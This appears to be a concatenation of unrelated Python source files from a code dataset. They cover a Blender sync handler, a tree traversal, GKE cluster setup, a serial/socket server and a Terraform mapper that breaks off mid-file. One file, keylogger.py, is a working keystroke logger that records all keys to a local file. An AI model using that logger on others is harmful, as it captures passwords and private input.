"\"\"\"\n ObjectPropertiesModule: Processor for ObjectProperties and ObjectUpdates.\n\"\"\"\n\nfrom .base import SyncModule\n\nfrom b2rexpkg.tools.simtypes import PCodeEnum\n\nimport bpy\n\nclass ObjectPropertiesModule(SyncModule):\n def register(self, parent):\n \"\"\"\n Register this module with the editor\n \"\"\"\n parent.registerCommand('props', self.processPropsCommand)\n parent.registerCommand('ObjectProperties', self.processObjectPropertiesCommand)\n\n def unregister(self, parent):\n \"\"\"\n Unregister this module from the editor\n \"\"\"\n parent.unregisterCommand('props')\n parent.unregisterCommand('ObjectProperties')\n\n def processPropsCommand(self, objId, pars):\n \"\"\"\n Properties arrived from an ObjectUpdate.\n \"\"\"\n editor = self._parent\n if \"PCode\" in pars and pars[\"PCode\"] == PCodeEnum.Avatar:\n agent = editor.Agents[objId] # creates the agent\n if \"NameValues\" in pars:\n props = pars[\"NameValues\"]\n if \"FirstName\" in props and \"LastName\" in props:\n agent.name = props['FirstName']+\" \"+props[\"LastName\"]\n editor._total['objects'][objId] = agent.name\n else:\n parentId = pars[\"ParentID\"]\n obj = editor.findWithUUID(objId)\n if not obj and not objId in editor.RexData.rexobjects and pars[\"PCode\"] == PCodeEnum.Primitive:\n obj = editor.Prims.create(objId, pars)\n if obj:\n # we have the object\n if parentId:\n parent = editor.findWithUUID(parentId)\n if parent:\n obj.parent = parent\n editor.Object.finishedLoadingObject(objId, obj)\n else:\n editor.add_callback('object.precreate', parentId,\n editor.Object.processLink,\n parentId, objId)\n else:\n obj.parent = None\n # apply final callbacks\n editor.Object.finishedLoadingObject(objId, obj)\n elif parentId:\n # need to wait for object and the parent to appear\n editor.add_callback('object.precreate', objId, editor.Object.processLink, parentId, objId)\n else:\n # need to wait for the object and afterwards\n # trigger the object create\n # need to wait for object and the parent to appear\n #def call_precreate(obj_id):\n # editor.trigger_callback('object.create', obj_id)\n editor.insert_callback('object.precreate',\n objId,\n editor.Object.finishedLoadingObject,\n objId)\n #print(\"parent for unexisting object!\")\n self.processObjectPropertiesCommand(objId, pars)\n\n def processObjectPropertiesCommand(self, objId, pars):\n \"\"\"\n Properties arrived from an ObjectProperties packet. Generally this\n happens when the object is selected.\n \"\"\"\n editor = self._parent\n obj = editor.find_with_uuid(str(objId), bpy.data.objects, \"objects\")\n if obj:\n if \"Name\" in pars:\n obj.name = pars[\"Name\"]\n obj.opensim.name = pars[\"Name\"]\n if 'InventorySerial' in pars and pars['InventorySerial'] > 0:\n editor.simrt.RequestTaskInventory(objId)\n\n editor.applyObjectProperties(obj, pars)\n else:\n editor.add_callback('object.create', objId, self.processObjectPropertiesCommand, objId, pars)\n\n\n", "sub_path": "All_In_One/addons/b2rexpkg/editsync/handlers/objectprops.py", "file_name": "objectprops.py", "file_ext": "py", "file_size_in_byte": 3772, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "base.SyncModule", "line_number": 11, "usage_type": "name"}, {"api_name": "b2rexpkg.tools.simtypes.PCodeEnum.Avatar", "line_number": 31, "usage_type": "attribute"}, {"api_name": "b2rexpkg.tools.simtypes.PCodeEnum", "line_number": 31, "usage_type": "name"}, {"api_name": "b2rexpkg.tools.simtypes.PCodeEnum.Primitive", "line_number": 41, "usage_type": "attribute"}, {"api_name": "b2rexpkg.tools.simtypes.PCodeEnum", "line_number": 41, "usage_type": "name"}, {"api_name": "bpy.data", "line_number": 80, "usage_type": "attribute"}]} +{"seq_id": "284438854", "text": "# coding:utf8\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nfrom typing import List\nclass Solution:\n def postorderTraversal(self, root: TreeNode) -> List[int]:\n #return self.postorderTraversal_v1(root)\n return self.postorderTraversal_v2(root)\n def postorderTraversal_v1(self, root: TreeNode) -> List[int]:\n res = []\n self.helper(root, res)\n return res\n \n def helper(self, node, res):\n if node:\n self.helper(node.left, res)\n self.helper(node.right, res)\n res.append(node.val)\n\n def postorderTraversal_v2(self, root: TreeNode) -> List[int]:\n \"\"\"dfs use stack\"\"\"\n stack, node, res = [], root, []\n last = None\n\n while stack or node:\n if node:\n stack.append(node)\n node = node.left\n else:\n cur = stack[-1]\n if cur.right and last != cur.right:\n node = cur.right\n else:\n res.append(cur.val)\n last = cur\n stack.pop()\n \n\n return res\n \n\n\n \n", "sub_path": "suqing/fuckal/python/recursive/binary-tree-postorder-traversal.py", "file_name": "binary-tree-postorder-traversal.py", "file_ext": "py", "file_size_in_byte": 1282, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "typing.List", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 25, "usage_type": "name"}]} +{"seq_id": "460808720", "text": "#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n\nimport os, sys\nimport pynput\nfrom banner.banner import *\nfrom pynput.keyboard import Key, Listener\n\nbanner()\n\nif input(\"\\n\\033[1;33m¿Desea comenzar a grabar el teclado?\\033[0m [\\033[1;32my\\033[0m / \\033[1;31mn\\033[0m]\\n\\n\\033[1;37m>\\033[0m \").upper() != \"Y\":\n os.system(\"clear\")\n goodbye()\n exit(0)\n\n\nos.system(\"clear\")\nlisten()\n\nkeys = []\n\ndef on_press(key):\n keys.append(key)\n print(\"\\033[0;31mTeclada Presionada =>\\033[0m \",key)\n archivo(keys)\n\ndef archivo(keys):\n with open(\"logs.txt\", \"w\" if os.path.isfile(\"logs.txt\") else \"w+\") as file:\n for key in keys:\n key = str(key).replace(\"'\",\"\")\n\n if key == \"Key.space\" or key == \"Key.enter\" or key == \"Key.backspace\":\n file.write(\"\\n\")\n elif key.find(\"Key\") == -1:\n file.write(key)\n else:\n file.write(\"\\n\"+key)\n file.close()\n\n\ndef on_release(key):\n if key == Key.esc:\n return False\n\n\nwith Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n\n\n", "sub_path": "keylogger.py", "file_name": "keylogger.py", "file_ext": "py", "file_size_in_byte": 1107, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "banner.banner", "line_number": 9, "usage_type": "call"}, {"api_name": "os.system", "line_number": 12, "usage_type": "call"}, {"api_name": "os.system", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key.esc", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 42, "usage_type": "name"}, {"api_name": "pynput.keyboard.Listener", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "273738374", "text": "import argparse\nimport os\nimport subprocess\nimport sys\nimport typing\n\nfrom deployctl.config import config\nfrom deployctl.shell import gcloud, kubectl\n\n\ndef create_network() -> None:\n # Create a VPC network\n # https://cloud.google.com/vpc/docs/using-vpc\n gcloud([\"compute\", \"networks\", \"create\", config.network_name, \"--subnet-mode=custom\"])\n\n # Create a subnet for the GKE cluster\n # https://cloud.google.com/kubernetes-engine/docs/how-to/private-clusters#custom_subnet\n gcloud(\n [\n \"compute\",\n \"networks\",\n \"subnets\",\n \"create\",\n f\"{config.network_name}-gke\",\n f\"--network={config.network_name}\",\n f\"--region={config.region}\",\n \"--range=192.168.0.0/20\",\n \"--secondary-range=gke-pods=10.4.0.0/14,gke-services=10.0.32.0/20\",\n \"--enable-flow-logs\",\n \"--enable-private-ip-google-access\",\n ]\n )\n\n\ndef create_ip_address() -> None:\n # Reserve a static external IP address to use with a load balancer.\n gcloud([\"compute\", \"addresses\", \"create\", config.ip_address_name, \"--global\"])\n\n\ndef create_cluster_service_account() -> None:\n # Create a least privilege service account for cluster nodes\n # https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_service_accounts_for_your_nodes\n\n try:\n # Do not alter the service account if it already exists.\n # Deleting and recreating a service account with the same name can lead to unexpected behavior\n # https://cloud.google.com/iam/docs/understanding-service-accounts#deleting_and_recreating_service_accounts\n gcloud(\n [\"iam\", \"service-accounts\", \"describe\", config.gke_service_account_full_name],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n print(\"Service account already exists\")\n return\n except subprocess.CalledProcessError:\n pass\n\n gcloud(\n [\"iam\", \"service-accounts\", \"create\", config.gke_service_account_name, \"--display-name=gnomAD GKE nodes\",]\n )\n\n # GKE requires logging.logWriter, monitoring.metricWriter, and monitoring.viewer\n #\n # stackdriver.resourceMetadata.writer is required for Stackdriver monitoring\n # https://cloud.google.com/monitoring/kubernetes-engine/observing\n #\n # storage.objectViewer is required to use private images in the Container Registry\n roles = [\n \"logging.logWriter\",\n \"monitoring.metricWriter\",\n \"monitoring.viewer\",\n \"stackdriver.resourceMetadata.writer\",\n \"storage.objectViewer\",\n ]\n\n for role in roles:\n subprocess.check_call(\n [\n \"gcloud\",\n \"projects\",\n \"add-iam-policy-binding\",\n config.project,\n f\"--member=serviceAccount:{config.gke_service_account_full_name}\",\n f\"--role=roles/{role}\",\n ],\n stdout=subprocess.DEVNULL,\n )\n\n\ndef create_cluster() -> None:\n # Create a private cluster\n # https://cloud.google.com/kubernetes-engine/docs/how-to/private-clusters\n # https://cloud.google.com/kubernetes-engine/docs/how-to/protecting-cluster-metadata\n #\n # Restrict access to K8S master to IP addresses listed in MASTER_AUTHORIZED_NETWORKS\n # https://cloud.google.com/kubernetes-engine/docs/how-to/authorized-networks\n #\n # Enable Stackdriver Kubernetes monitoring and logging\n # https://cloud.google.com/monitoring/kubernetes-engine/\n #\n # Use shielded nodes\n # https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes\n #\n # Disable authentication with static password and client certificate\n # https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#restrict_authn_methods\n #\n # Disable legacy metadata API\n #\n # Set nodes to automatically repair and upgrade\n # https://cloud.google.com/kubernetes-engine/docs/how-to/node-auto-repair\n # https://cloud.google.com/kubernetes-engine/docs/how-to/node-auto-upgrades\n #\n gcloud(\n [\n \"container\",\n \"clusters\",\n \"create\",\n config.gke_cluster_name,\n f\"--zone={config.zone}\",\n \"--release-channel=stable\",\n \"--enable-autorepair\",\n \"--enable-autoupgrade\",\n \"--maintenance-window=7:00\",\n f\"--service-account={config.gke_service_account_full_name}\",\n f\"--network={config.network_name}\",\n f\"--subnetwork={config.network_name}-gke\",\n \"--cluster-secondary-range-name=gke-pods\",\n \"--services-secondary-range-name=gke-services\",\n \"--enable-ip-alias\",\n \"--enable-master-authorized-networks\",\n \"--enable-private-nodes\",\n f\"--master-authorized-networks={config.authorized_networks}\",\n \"--master-ipv4-cidr=172.16.0.0/28\",\n \"--enable-stackdriver-kubernetes\",\n \"--enable-shielded-nodes\",\n \"--shielded-secure-boot\",\n \"--metadata=disable-legacy-endpoints=true\",\n \"--no-enable-basic-auth\",\n \"--no-enable-legacy-authorization\",\n \"--no-issue-client-certificate\",\n \"--num-nodes=1\",\n \"--machine-type=n1-standard-4\",\n ]\n )\n\n # Configure kubectl\n gcloud([\"container\", \"clusters\", \"get-credentials\", config.gke_cluster_name, f\"--zone={config.zone}\"])\n\n\ndef create_configmap():\n # Store the IP address used for the ingress load balancer in a configmap so that the browser\n # can use it for determining the real client IP.\n ingress_ip = gcloud(\n [\"compute\", \"addresses\", \"describe\", config.ip_address_name, \"--global\", \"--format=value(address)\"]\n )\n\n kubectl([\"create\", \"configmap\", \"ingress-ip\", f\"--from-literal=ip={ingress_ip}\"])\n\n\ndef create_node_pool(node_pool_name: str, node_pool_args: typing.List[str]) -> None:\n gcloud(\n [\n \"container\",\n \"node-pools\",\n \"create\",\n node_pool_name,\n f\"--cluster={config.gke_cluster_name}\",\n f\"--zone={config.zone}\",\n \"--enable-autorepair\",\n \"--enable-autoupgrade\",\n f\"--service-account={config.gke_service_account_full_name}\",\n \"--shielded-secure-boot\",\n \"--metadata=disable-legacy-endpoints=true\",\n ]\n + node_pool_args\n )\n\n\ndef main(argv: typing.List[str]) -> None:\n parser = argparse.ArgumentParser(prog=\"deployctl\")\n\n parser.parse_args(argv)\n\n if not config.project:\n print(\"project configuration is required\", file=sys.stderr)\n sys.exit(1)\n\n print(\"This will create the following resources:\")\n print(f\"- VPC network '{config.network_name}'\")\n print(f\"- IP address '{config.ip_address_name}'\")\n print(f\"- Service account '{config.gke_service_account_name}'\")\n print(f\"- GKE cluster '{config.gke_cluster_name}'\")\n\n if input(\"Continue? (y/n) \").lower() == \"y\":\n print(\"Creating network...\")\n create_network()\n\n print(\"Reserving IP address...\")\n create_ip_address()\n\n print(\"Creating service account...\")\n create_cluster_service_account()\n\n print(\"Creating cluster...\")\n create_cluster()\n\n print(\"Creating configmap...\")\n create_configmap()\n\n print(\"Creating node pools...\")\n create_node_pool(\"redis\", [\"--num-nodes=1\", \"--machine-type=n1-highmem-8\"])\n\n print(\"Creating K8S resources...\")\n manifests_directory = os.path.realpath(os.path.join(os.path.dirname(__file__), \"../../manifests\"))\n kubectl([\"apply\", \"-k\", os.path.join(manifests_directory, \"redis\")])\n", "sub_path": "deploy/deployctl/subcommands/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 7778, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "deployctl.shell.gcloud", "line_number": 14, "usage_type": "call"}, {"api_name": "deployctl.config.config.network_name", "line_number": 14, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 14, "usage_type": "name"}, {"api_name": "deployctl.shell.gcloud", "line_number": 18, "usage_type": "call"}, {"api_name": "deployctl.config.config.network_name", "line_number": 24, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 24, "usage_type": "name"}, {"api_name": "deployctl.config.config.network_name", "line_number": 25, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 25, "usage_type": "name"}, {"api_name": "deployctl.config.config.region", "line_number": 26, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 26, "usage_type": "name"}, {"api_name": "deployctl.shell.gcloud", "line_number": 37, "usage_type": "call"}, {"api_name": "deployctl.config.config.ip_address_name", "line_number": 37, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 37, "usage_type": "name"}, {"api_name": "deployctl.shell.gcloud", "line_number": 48, "usage_type": "call"}, {"api_name": "deployctl.config.config.gke_service_account_full_name", "line_number": 49, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 49, "usage_type": "name"}, {"api_name": "subprocess.DEVNULL", "line_number": 50, "usage_type": "attribute"}, {"api_name": "subprocess.DEVNULL", "line_number": 51, "usage_type": "attribute"}, {"api_name": "subprocess.CalledProcessError", "line_number": 55, "usage_type": "attribute"}, {"api_name": "deployctl.shell.gcloud", "line_number": 58, "usage_type": "call"}, {"api_name": "deployctl.config.config.gke_service_account_name", "line_number": 59, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 59, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 77, "usage_type": "call"}, {"api_name": "deployctl.config.config.project", "line_number": 82, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 82, "usage_type": "name"}, {"api_name": "deployctl.config.config.gke_service_account_full_name", "line_number": 83, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 83, "usage_type": "name"}, {"api_name": "subprocess.DEVNULL", "line_number": 86, "usage_type": "attribute"}, {"api_name": "deployctl.shell.gcloud", "line_number": 113, "usage_type": "call"}, {"api_name": "deployctl.config.config.gke_cluster_name", "line_number": 118, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 118, "usage_type": "name"}, {"api_name": "deployctl.config.config.zone", "line_number": 119, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 119, "usage_type": "name"}, {"api_name": "deployctl.config.config.gke_service_account_full_name", "line_number": 124, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 124, "usage_type": "name"}, {"api_name": "deployctl.config.config.network_name", "line_number": 125, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 125, "usage_type": "name"}, {"api_name": "deployctl.config.config.network_name", "line_number": 126, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 126, "usage_type": "name"}, {"api_name": "deployctl.config.config.authorized_networks", "line_number": 132, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 132, "usage_type": "name"}, {"api_name": "deployctl.shell.gcloud", "line_number": 147, "usage_type": "call"}, {"api_name": "deployctl.config.config.gke_cluster_name", "line_number": 147, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 147, "usage_type": "name"}, {"api_name": "deployctl.config.config.zone", "line_number": 147, "usage_type": "attribute"}, {"api_name": "deployctl.shell.gcloud", "line_number": 153, "usage_type": "call"}, {"api_name": "deployctl.config.config.ip_address_name", "line_number": 154, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 154, "usage_type": "name"}, {"api_name": "deployctl.shell.kubectl", "line_number": 157, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 160, "usage_type": "attribute"}, {"api_name": "deployctl.shell.gcloud", "line_number": 161, "usage_type": "call"}, {"api_name": "deployctl.config.config.gke_cluster_name", "line_number": 167, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 167, "usage_type": "name"}, {"api_name": "deployctl.config.config.zone", "line_number": 168, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 168, "usage_type": "name"}, {"api_name": "deployctl.config.config.gke_service_account_full_name", "line_number": 171, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 179, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 180, "usage_type": "call"}, {"api_name": "deployctl.config.config.project", "line_number": 184, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 184, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 185, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 186, "usage_type": "call"}, {"api_name": "deployctl.config.config.network_name", "line_number": 189, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 189, "usage_type": "name"}, {"api_name": "deployctl.config.config.ip_address_name", "line_number": 190, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 190, "usage_type": "name"}, {"api_name": "deployctl.config.config.gke_service_account_name", "line_number": 191, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 191, "usage_type": "name"}, {"api_name": "deployctl.config.config.gke_cluster_name", "line_number": 192, "usage_type": "attribute"}, {"api_name": "deployctl.config.config", "line_number": 192, "usage_type": "name"}, {"api_name": "os.path.realpath", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 214, "usage_type": "call"}, {"api_name": "deployctl.shell.kubectl", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}]} +{"seq_id": "275900875", "text": "# coding=utf-8\n\nimport multiprocessing\nimport serial\nimport socket\nimport os\nimport fuckargs\nimport json\n\n# 没有被按下的状态是1\n# 被按下的状态是0\n\n# 串口通讯\n# 频率的决定者以硬件的串口通讯频率决定\ndef get_serial_info( whether, pre_whether, now_status, action ):\n os.system( \"echo %d >>pid_repo\" % os.getpid() ) # store the pid\n while True:\n pre_whether.value = whether.value\n whether.value = ser.readline()[0]\n action.value = pre_whether.value + whether.value\n if action.value == '01':\n now_status.value = ( now_status.value + 1 ) % 2\n\n# socket server\ndef socket_server( whether, pre_whether, now_status, action ):\n on_off_dict = { 0: \"off\", 1: \"on\" }\n action_dict = { \"11\": \"released\", \\\n \"10\": \"pressing\", \\\n \"00\": \"pressed\", \\\n \"01\": \"releasing\" }\n \n os.system( \"echo %d >>pid_repo\" % os.getpid() ) # store the pid\n host = fuckargs.get( \"host\" ) # Symbolic name meaning all available interfaces\n port = int( fuckargs.get(\"port\") ) # Arbitrary non-privileged port\n s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) #定义socket类型，网络通信，TCP\n s.bind( (host, port) ) #套接字绑定的IP与端口\n s.listen( 5 ) #开始TCP监听\n while True:\n conn, addr = s.accept() #接受TCP连接，并返回新的套接字与IP地址\n # print 'Connected by', addr #输出客户端的IP地址\n try:\n while True:\n data=conn.recv(1024) #把接收的数据实例化\n res = { \"on_off_status\" : on_off_dict.get(now_status.value), \\\n \"now_result\": whether.value, \\\n \"pre_result\": pre_whether.value, \\\n \"action\": action_dict.get(action.value) }\n res = json.dumps( res )\n conn.sendall( res )\n except:\n conn.close() #关闭连接\n\n# Main process\n\nser = serial.Serial( fuckargs.get(\"usb\"), int( fuckargs.get(\"bits\") ) )\nchr = multiprocessing.Value('c', '1')\npre_chr = multiprocessing.Value('c', '1')\naction_chr = multiprocessing.Array('c', '11')\nstatus_chr = multiprocessing.Value( 'i', 0 )\n\nos.system( \"echo %d >>pid_repo\" % os.getpid() ) # store the pid\n\np_serial = multiprocessing.Process( target=get_serial_info, args=(chr, pre_chr, status_chr, action_chr, ) )\np_socket = multiprocessing.Process( target=socket_server, args=(chr, pre_chr, status_chr, action_chr, ) )\n\np_serial.start()\np_socket.start()", "sub_path": "inp/inp_01_for_mac_linux/process_worker.py", "file_name": "process_worker.py", "file_ext": "py", "file_size_in_byte": 2578, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.system", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 16, "usage_type": "call"}, {"api_name": "os.system", "line_number": 32, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 32, "usage_type": "call"}, {"api_name": "fuckargs.get", "line_number": 33, "usage_type": "call"}, {"api_name": "fuckargs.get", "line_number": 34, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 35, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 35, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 35, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 48, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 55, "usage_type": "call"}, {"api_name": "fuckargs.get", "line_number": 55, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 56, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 57, "usage_type": "call"}, {"api_name": "multiprocessing.Array", "line_number": 58, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 59, "usage_type": "call"}, {"api_name": "os.system", "line_number": 61, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 61, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 63, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "469117", "text": "#\n# Copyright 2020 XEBIALABS\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#\n\n\nfrom terraform.capture_output import capture_output\nimport com.xebialabs.overthere.CmdLine as CmdLine\nimport json\n\nfrom com.xebialabs.deployit.provision import ProvisionHelper\nfrom com.xebialabs.deployit.plugin.api.reflect import DescriptorRegistry\nfrom com.xebialabs.deployit.plugin.api.reflect import Type\nimport importlib\n\n\nclass MapperFactory(object):\n @staticmethod\n def default_mappers():\n descriptor = DescriptorRegistry.getDescriptor('terraformEnterprise', 'Mappers')\n mapper_fqns = [p.getDefaultValue() for p in descriptor.getPropertyDescriptors() if p.name.endswith('_mapper')]\n mappers = [MapperFactory.new_mapper_instance(m) for m in mapper_fqns]\n return mappers\n\n @staticmethod\n def mappers(dict_of_mappers):\n mappers = [MapperFactory.new_mapper_instance(m) for m in dict_of_mappers.values()]\n return mappers\n\n @staticmethod\n def new_mapper_instance(full_class_string):\n print(\"new_mapper_instance: {0}\".format(full_class_string))\n class_data = full_class_string.split(\".\")\n module_path = \".\".join(class_data[:-1])\n class_str = class_data[-1]\n print(\".import_module {0}\".format(module_path))\n module = importlib.import_module(module_path)\n print(\".reload {0}\".format(module))\n reload(module)\n clazz = getattr(module, class_str)\n instance = clazz()\n return instance\n\n\nclass ManageResources(object):\n def __init__(self, task_context):\n self.repository = task_context['repositoryService']\n self.context = task_context['context']\n self.previousDeployed = task_context['previousDeployed']\n self.deployed = task_context['deployed']\n if self.deployed is None:\n self.current_deployed = self.previousDeployed\n else:\n self.current_deployed = self.deployed\n self.deployedApplication = task_context['deployedApplication']\n\n self.environment_id = ProvisionHelper.getProvisionEnvironmentId(\n self.current_deployed.environmentPath, self.deployedApplication.environment.id)\n self.environment = ProvisionHelper.getOrCreateEnvironment(\n self.environment_id, self.context)\n\n self.folder = \"Infrastructure\"\n self.generated_ids = []\n self.generated_cis = []\n self.cis_to_delete = []\n self.resource_mappers = MapperFactory.default_mappers()\n self.resource_mappers.extend(MapperFactory.mappers(self.current_deployed.container.additionalMappers))\n\n def process(self, output):\n self.process_resources(output)\n self.process_cis_to_delete()\n self.update_environment_members()\n self.update_generated_cis()\n self.delete_removed_resources()\n\n def process_resources(self, output):\n if not output:\n context.logOutput(\n \"No resources found for '%s', skipping Infrastructure creation.\" % self.current_deployed.name)\n return\n\n output_json = output\n resources = []\n if 'modules' in output_json:\n for module in output_json['modules']:\n if 'resources' in module:\n for resourceKey in module['resources']:\n resource = module['resources'][resourceKey]\n resources.append(resource)\n elif 'resources' in output_json:\n for resource in output_json['resources']:\n for instance in resource['instances']:\n instance['type'] = resource['type']\n resources.append(instance)\n\n for mapper in self.resource_mappers:\n candidates = [resource for resource in resources if resource['type'] in mapper.accepted_types()]\n create = True\n candidates_types = [candidate['type'] for candidate in candidates]\n for accepted_type in mapper.accepted_types():\n if accepted_type not in candidates_types:\n create = False\n \n if create and (candidates) > 0:\n print(\"call {0} mapper managing {1} type(s) with {2} resource(s))\".format(mapper, mapper.accepted_types(), len(candidates)))\n cis = mapper.create_ci(candidates, self.folder, self.deployed)\n print(\"{0} configuration item(s) to create or update\".format(len(cis)))\n self.process_cis(cis)\n\n def process_cis(self, cis):\n for ci in cis:\n if ci is not None:\n if self.repository.exists(ci.id):\n self.repository.update(ci.id, ci)\n print(\"'%s' of type '%s' updated.\" % (ci.id, ci.type))\n else:\n self.repository.create(ci.id, ci)\n print(\"'%s' of type '%s' created.\" % (ci.id, ci.type))\n self.generated_cis.append(ci)\n self.generated_ids.append(ci.id)\n\n def process_cis_to_delete(self):\n if self.previousDeployed:\n for ci in self.previousDeployed.getProperty(self._get_managed_ci_property()):\n if ci.type != \"udm.Environment\" and ci.type != \"udm.Dictionary\":\n if ci.id not in self.generated_ids:\n self.cis_to_delete.append(ci.id)\n\n def update_environment_members(self):\n print(\"update_environment_members {0}\".format(self.environment_id))\n environment = ProvisionHelper.getOrCreateEnvironment(self.environment_id, self.context)\n members = environment.members\n for ci in self.generated_cis:\n print(\"...generated ci {0}\".format(ci.id))\n if 'Environments/' not in ci.id:\n print(\"...{0} added to 'members' property of environment '{1}'\".format(ci.id, self.environment_id))\n members.add(ci)\n\n members_to_remove = []\n for ci in members:\n if ci.id in self.cis_to_delete:\n print(\"'%s' removed from 'members' property of environment '%s'\" %\n (ci.id, self.environment_id))\n members_to_remove.append(ci)\n for ci in members_to_remove:\n members.remove(ci)\n environment.setMembers(members)\n print(\".members {0}\".format(members))\n self.repository.update(self.environment_id, environment)\n\n def update_generated_cis(self):\n generated_configuration_items = self.current_deployed.getProperty(self._get_managed_ci_property())\n\n for ci in self.generated_cis:\n generated_configuration_items.add(ci)\n if self.environment_id != self.deployedApplication.environment.id:\n generated_configuration_items.add(self.repository.read(self.environment_id))\n\n generated_to_remove = []\n for ci in generated_configuration_items:\n if ci.id in self.cis_to_delete:\n print(\"'%s' removed from 'generated_configuration_items' property of '%s'\" % (ci.id, self.current_deployed.id))\n generated_to_remove.append(ci)\n for ci in generated_to_remove:\n generated_configuration_items.remove(ci)\n\n self.current_deployed.setProperty(self._get_managed_ci_property(), generated_configuration_items)\n\n if self.repository.exists(self.current_deployed.id):\n self.repository.update(self.current_deployed.id, self.current_deployed)\n\n def delete_removed_resources(self):\n for ci_id in self.cis_to_delete:\n self.repository.delete(ci_id)\n print(\"'%s' deleted\" % ci_id)\n\n def _get_managed_ci_property(self):\n # Why do we need to manage this indirection to the list of managed_ci ?\n # Because the DeleteAllProvisionedItems steps assumes the generatedConfigurationItems property is managed\n # only if the type is base of 